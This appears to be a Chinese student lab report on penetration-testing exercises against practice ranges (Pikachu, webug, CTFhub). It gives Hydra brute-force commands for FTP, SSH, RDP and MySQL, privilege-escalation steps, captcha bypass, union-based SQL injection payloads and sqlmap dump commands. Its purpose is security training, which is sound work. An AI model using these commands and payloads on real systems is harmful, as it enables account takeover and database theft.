1.1实现bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?
主站和旁站可能公用一个数据库。那么通过攻击旁站可以拿到主站的所有数据库的信息资料。所以可以拿下主站。
1.2跨库:跨库的核心是通过技术手段突破当前数据库用户的权限限制,访问或操作其他数据库的资源
二、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。
2.1 FTP暴力破解
2.2密码破解后登录FTP
2.3 open ssh密码爆破
安装open ssh配置环境
2.4在Win7下默认安装openssh,账号密码默认是当前系统用户的微软账号和密码。
hydra 192.168.0.137 ssh -l dragon -P pwd.txt -t 4 -vV -e nsr -o ssh.1og
2.5 使用Hydra暴力破解rdp服务
hydra 192.168.0.137 rdp -l win7 -P pwd.txt -vV -f -e ns
发现暴破出的RDP账号密码dragon/123456
2.6使用Hydra暴力破解mysql服务
暴破出的MYSQL 用户和密码为root
hydra 192.168.0.137 mysql -l root -P pwd.txt
三、水平越权&垂直越权漏洞实验
3.1实验环境为 pikachu 靶场 over permission 模块水平越权
我们已事先知道三个账号:
lucy/123456
lili/123456
kobe/123456
我们随便登录一个账号,比如 lucy,同时抓包,发现显示了 username & password
3.2在usernane改成lili的账号把包放过去,成功登录了LILI的账号查看她的个人信息
3.3 垂直越权
实验环境为 pikachu 靶场 over permission 模块垂直越权
我们已事先知道两个账号:
admin/123456
pikachu/000000
admin是超级boss(管理员)
3.4 用火狐浏览器登录管理员,用谷歌浏览器登录普通用户,如下图,管理员有添加用户的功能,普通用户没有
3.5用管理员打开添加用户后,把URL地址复制到普通用户已登录的网站,实现了垂直越权,添加用户如下图
四、密码修改逻辑漏洞实验
4.1 搭建webug靶场环境
docker pull area39/webug
docker run -d -p 8083:80 -p 33060:3301 area39/webug
4.2访问"越权修改密码"靶场:
4.3进入数据库后端查询后面管理的账号有两个
4.4 用admin账号登录,登录后修改数据包ID改成2,password改成456
4.5 此时看到aaaaa改成了456,存在越权其这用户的密码,并且没有校验旧密码。
五、验证码绕过(on client)
5.1搭建Pikachu靶场
5.2抓包修改验证码,发现旧的验证码没有失效还能登录,说明没有后端校验验证码。
5.3 禁用JS绕过验证码
5.4 验证码绕过(on server)
5.5输入当前正确的验证码多次发送,显示success,说明验证码存在不过期,可以重复利用。
5.6此时验证码可以烧过,用户名和密码进行爆破
5.7验证码绕过(on server)实验中,为什么burp拦截开启的状态下,通过Repeater进行重放不会刷新验证码,关闭拦截后才会刷新验证码?
由于该请求没抵达服务端,服务端记录的验证码(如 session 里存储的验证码值 )不会被销毁或更新。所以,无论你在 Repeater 重放多少次 “验证请求”,服务端用的还是最初的验证码,也就不会提示 “验证码错误” 或强制刷新。所以关闭拦截把第二次包放过去才会刷新验证码
六、CTFhub:SQL注入靶场,分别完成手工注入,注册CTFHUB
6.1 id=-1 union select 1,2 联合注入查询字段数
6.2 id=-1 union select 1,database() 获取数据名
6.3 id=-1 union select 1,group_concat(schema_name)from information_schema.schemata 获取所有数据库名
6.4 id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 获取flag列所有字段名
6.5 id=-1 union select 1,group_concat(flag) from sqli.flag 获取指定数据库的表的列的内容
七、CTFhub:SQL注入靶场,Sqlmap工具注入的过程
7.1python sqlmap.py -u http://challenge-ec39e0d24c97d66c.sandbox.ctfhub.com:10800/?id=1 –tables 探测目标URL是否存在SQL 注入漏洞,并列出数据库中的所有表名。
7.2 python sqlmap.py -u http://challenge-ec39e0d24c97d66c.sandbox.ctfhub.com:10800/?id=1 -T flag –columns 针对指定的表(flag),枚举其所有列名。
7.3python sqlmap.py -u http://challenge-ec39e0d24c97d66c.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag –dump 从 flag 表的 flag 列中提取数据(即 CTF 的 Flag